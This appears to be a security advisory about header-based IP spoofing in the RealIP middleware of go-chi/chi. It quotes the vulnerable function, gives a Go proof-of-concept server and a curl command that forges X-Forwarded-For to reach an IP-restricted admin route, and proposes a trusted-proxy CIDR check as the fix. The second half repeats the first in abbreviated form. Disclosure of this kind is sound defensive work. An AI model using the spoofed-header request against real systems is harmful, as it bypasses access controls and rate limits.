Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
func realIP(r *http.Request) string {
var ip string
if tcip := r.Header.Get(trueClientIP); tcip != "" {
ip = tcip // controlled by attacker
} else if xrip := r.Header.Get(xRealIP); xrip != "" {
ip = xrip // controlled by attacker
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",") // controlled by attacker
}
// ...
return ip
}no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RealIP)
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
// ip-based access control got bypassed
if r.RemoteAddr == "127.0.0.1" {
w.Write([]byte("SECRET ADMIN DATA"))
return
}
http.Error(w, "Forbidden", 403)
})
http.ListenAndServe(":8080", r)
}spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
Impact
- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
{IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
{IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
{IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}
func isTrustedProxy(ip net.IP) bool {
for _, cidr := range trustedProxies {
if cidr.Contains(ip) {
return true
}
}
return false
}
Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/adminImpact
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers